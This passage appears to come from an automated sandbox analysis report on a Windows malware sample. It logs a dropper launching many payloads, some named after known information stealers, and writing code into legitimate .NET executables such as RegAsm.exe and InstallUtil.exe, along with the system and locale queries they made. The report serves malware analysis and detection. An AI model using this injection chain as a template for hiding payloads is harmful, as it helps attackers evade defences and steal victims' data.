Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 42B000
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 63E000
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 6FD008
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 800000
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 802000
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 80C000
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 82C000
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 773008
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44B000
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44E000
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45D000
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 627008
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe "C:\Users\user\AppData\Local\Temp\1000002001\gold.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe "C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe "C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe "C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe "C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe "C:\Users\user\AppData\Local\Temp\1000254001\penis.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe "C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe "C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe "C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe "C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe "C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe "C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe"
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Process created: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe "C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Process created: C:\Users\user\AppData\Local\Temp\1000065001\stories.exe "C:\Users\user\AppData\Local\Temp\1000065001\stories.exe"
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Process created: C:\Users\user\AppData\Local\Temp\svchost015.exe C:\Users\user\AppData\Local\Temp\svchost015.exe
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4024 -ip 4024
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4024 -s 904
Source: penis.exe, 00000018.00000002.2884267791.000000000315A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: GetProgmanWindow
Source: axplong.exe Binary or memory string: RtProgram Manager
Source: file.exe, 00000000.00000002.2100263900.0000000000F7E000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2132726768.00000000008DE000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2137659091.00000000008DE000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: tProgram Manager
Source: penis.exe, 00000018.00000002.2884267791.000000000315A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SetProgmanWindow
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004077E0 cpuid 13_2_004077E0
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 13_2_0041E825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 13_2_00414138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW, 13_2_0041EA78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 13_2_0041EBA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetACP,IsValidCodePage,GetLocaleInfoW, 13_2_0041E412
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW, 13_2_0041ECA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 13_2_0041ED76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW, 13_2_0041465E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW, 13_2_0041E60D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 13_2_0041E6FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 13_2_0041E6B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 13_2_0041E79A
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000354001\c9a37ab27e.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000354001\c9a37ab27e.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000355001\2a8f2f9086.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000355001\2a8f2f9086.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Queries volume information: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000065001\stories.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000065001\stories.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
